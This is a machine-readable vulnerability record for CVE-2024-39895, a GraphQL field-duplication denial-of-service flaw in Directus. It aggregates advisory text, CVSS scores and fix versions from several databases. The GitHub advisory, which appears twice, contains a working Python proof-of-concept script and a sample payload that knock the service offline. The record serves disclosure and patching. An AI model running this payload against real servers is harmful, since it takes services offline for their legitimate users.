{"id":"CVE-2024-39895","aliases":["EUVD-2024-2287","GHSA-7hmh-pfrp-vcx4"],"status":"published","title":"Directus GraphQL Field Duplication Denial of Service (DoS)","description":"Directus is a real-time API and App dashboard for managing SQL database content. A denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users. Request to the endpoint /graphql are sent when visualizing graphs generated at a dashboard. By modifying the data sent and duplicating many times the fields a DoS attack is possible. This vulnerability is fixed in 10.12.0.","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00795,"percentile":0.56849,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400"],"published":"2024-07-08T16:47:44Z","modified":"2026-10-28T02:30:42Z","fixes":[{"ecosystem":"npm","package":"@directus/env","fixed_in":["1.1.6"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@directus/env","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.6"}]}]},{"source":"osv","ecosystem":"npm","package":"@directus/env","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.1.6"}]}]}],"products":[{"vendor":"directus","product":"directus"},{"vendor":"monospace","product":"directus"}],"references":[{"url":"https://github.com/directus/directus/security/advisories/GHSA-7hmh-pfrp-vcx4","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/directus/directus/commit/543b345695071c1de61a35004bd063fe59dba0c8","tags":["x_refsource_MISC","x_transferred","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-39895","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-7hmh-pfrp-vcx4"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/39xxx/CVE-2024-39895.json","tags":["advisory"]},{"url":"https://github.com/directus/directus","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-39895","title":"Directus GraphQL Field Duplication Denial of Service (DoS)","description":"Directus is a real-time API and App dashboard for managing SQL database content. A denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users. Request to the endpoint /graphql are sent when visualizing graphs generated at a dashboard. By modifying the data sent and duplicating many times the fields a DoS attack is possible. This vulnerability is fixed in 10.12.0.","status":"published","published":"2024-07-08T16:47:44.673Z","modified":"2024-08-02T04:33:11.24Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"cna"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:34:18.951288Z"}],"euvd":[{"id":"EUVD-2024-2287","description":"Directus is a real-time API and App dashboard for managing SQL database content. A denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users. Request to the endpoint /graphql are sent when visualizing graphs generated at a dashboard. By modifying the data sent and duplicating many times the fields a DoS attack is possible. This vulnerability is fixed in 10.12.0.","status":"published","published":"2024-07-08T16:47:44Z","modified":"2024-08-02T04:33:11Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-03T03:50:17.469599Z"}],"ghsa":[{"id":"GHSA-7hmh-pfrp-vcx4","title":"Directus GraphQL Field Duplication Denial of Service (DoS)","description":"### Summary\nA denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users.\n\n### Details\nRequest to the endpoint /graphql are sent when visualizing graphs generated at a dashboard:\n![image](https://github.com/directus/directus/assets/114263468/185eb60f-9092-47d4-81f4-add1a53e99c8)\n\n![DoS5](https://github.com/directus/directus/assets/114263468/f43079f5-b9ab-4704-938f-dcb91453d464)\n\n\nBy modifying the data sent and duplicating many times the fields a DoS attack is possible. \n\n### PoC\nThe goal is to create a payload that generates a body like this, where the 'max' field is duplicated many times, each with the 'id' field duplicated many times inside it.\n`{'query': 'query { query_4f4722ea: test_table_aggregated { max {id id id id id id id id id id  } max {id id id id id id id id id id  } max {id id id id id id id id id id  } max {id id id id id id id id id id  } max {id id id id id id id id id id  } max {id id id id id id id id id id  } max {id id id id id id id id id id  } max {id id id id id id id id id id  } max {id id id id id id id id id id  } max {id id id id id id id id id id  }  } }'}`\n\nAlthough that payload seems harmless, a bigger one leaves the service unresponsive. \n\nThe following code might serve as a PoC written in Python3:\n```# Field Duplication DoS \n# GitHub @asantof\n\nimport requests\n\n## CHANGE THIS VALUES: url, auth_token, query_name, collection_name\nurl = 'http://0.0.0.0:8055/graphql'\nauth_token = '' \nquery_name = 'query_XXXXX' \ncollection_name = ''  \n\nheaders = {\n    'Content-Type': 'application/json',\n    'Authorization': f'Bearer {auth_token}',\n}\n\nid_payload = 'id ' * 200\nmax_payload = 'max {' + id_payload + ' } '\nfull_payload = max_payload * 200\n\ndata = {\n    'query': 'query { ' + query_name + ': ' + collection_name + '_aggregated { ' + full_payload + ' } }'\n}\n\nprint(data)\n\nresponse = requests.post(url, headers=headers, json=data)\n\nprint(response.json())\n```\n\n![DoS4](https://github.com/directus/directus/assets/114263468/965e50bc-24dc-405c-a0f1-c973bd4f378d)\n\n\nAfter running it the service will be unresponsive for a while:\n![DoS](https://github.com/directus/directus/assets/114263468/9865acc1-9b82-4d3d-8929-cf32500ce14d)\n\n\n### Impact\nThe vulnerability impacts the service's availability by causing it to become unresponsive for a few minutes. An attacker could continuously send this request to the server, rendering the service unavailable indefinitely.","status":"published","published":"2024-07-08T18:41:00Z","modified":"2024-11-18T16:26:50Z","cvss":[{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:38:20.012356Z"}],"nvd":[{"id":"CVE-2024-39895","description":"Directus is a real-time API and App dashboard for managing SQL database content. A denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users. Request to the endpoint /graphql are sent when visualizing graphs generated at a dashboard. By modifying the data sent and duplicating many times the fields a DoS attack is possible. This vulnerability is fixed in 10.12.0.","status":"published","published":"2024-07-08T17:15:11.98Z","modified":"2026-06-17T07:42:58.927Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"secondary"},{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"primary"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:10:10.545705Z"}],"osv":[{"id":"CVE-2024-39895","title":"Directus GraphQL Field Duplication Denial of Service (DoS)","description":"Directus is a real-time API and App dashboard for managing SQL database content. A denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users. Request to the endpoint /graphql are sent when visualizing graphs generated at a dashboard. By modifying the data sent and duplicating many times the fields a DoS attack is possible. This vulnerability is fixed in 10.12.0.","status":"published","published":"2024-07-08T16:47:44.673Z","modified":"2026-10-28T02:30:42.066102565Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:44:41.618074Z"},{"id":"GHSA-7hmh-pfrp-vcx4","title":"Directus GraphQL Field Duplication Denial of Service (DoS)","description":"### Summary\nA denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users.\n\n### Details\nRequest to the endpoint /graphql are sent when visualizing graphs generated at a dashboard:\n![image](https://github.com/directus/directus/assets/114263468/185eb60f-9092-47d4-81f4-add1a53e99c8)\n\n![DoS5](https://github.com/directus/directus/assets/114263468/f43079f5-b9ab-4704-938f-dcb91453d464)\n\n\nBy modifying the data sent and duplicating many times the fields a DoS attack is possible. \n\n### PoC\nThe goal is to create a payload that generates a body like this, where the 'max' field is duplicated many times, each with the 'id' field duplicated many times inside it.\n`{'query': 'query { query_4f4722ea: test_table_aggregated { max {id id id id id id id id id id  } max {id id id id id id id id id id  } max {id id id id id id id id id id  } max {id id id id id id id id id id  } max {id id id id id id id id id id  } max {id id id id id id id id id id  } max {id id id id id id id id id id  } max {id id id id id id id id id id  } max {id id id id id id id id id id  } max {id id id id id id id id id id  }  } }'}`\n\nAlthough that payload seems harmless, a bigger one leaves the service unresponsive. \n\nThe following code might serve as a PoC written in Python3:\n```# Field Duplication DoS \n# GitHub @asantof\n\nimport requests\n\n## CHANGE THIS VALUES: url, auth_token, query_name, collection_name\nurl = 'http://0.0.0.0:8055/graphql'\nauth_token = '' \nquery_name = 'query_XXXXX' \ncollection_name = ''  \n\nheaders = {\n    'Content-Type': 'application/json',\n    'Authorization': f'Bearer {auth_token}',\n}\n\nid_payload = 'id ' * 200\nmax_payload = 'max {' + id_payload + ' } '\nfull_payload = max_payload * 200\n\ndata = {\n    'query': 'query { ' + query_name + ': ' + collection_name + '_aggregated { ' + full_payload + ' } }'\n}\n\nprint(data)\n\nresponse = requests.post(url, headers=headers, json=data)\n\nprint(response.json())\n```\n\n![DoS4](https://github.com/directus/directus/assets/114263468/965e50bc-24dc-405c-a0f1-c973bd4f378d)\n\n\nAfter running it the service will be unresponsive for a while:\n![DoS](https://github.com/directus/directus/assets/114263468/9865acc1-9b82-4d3d-8929-cf32500ce14d)\n\n\n### Impact\nThe vulnerability impacts the service's availability by causing it to become unresponsive for a few minutes. An attacker could continuously send this request to the server, rendering the service unavailable indefinitely.","status":"published","published":"2024-07-08T18:41:00Z","modified":"2026-09-10T03:50:16.339037071Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"},{"version":"4.0","score":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:46:41.002603Z"}]}}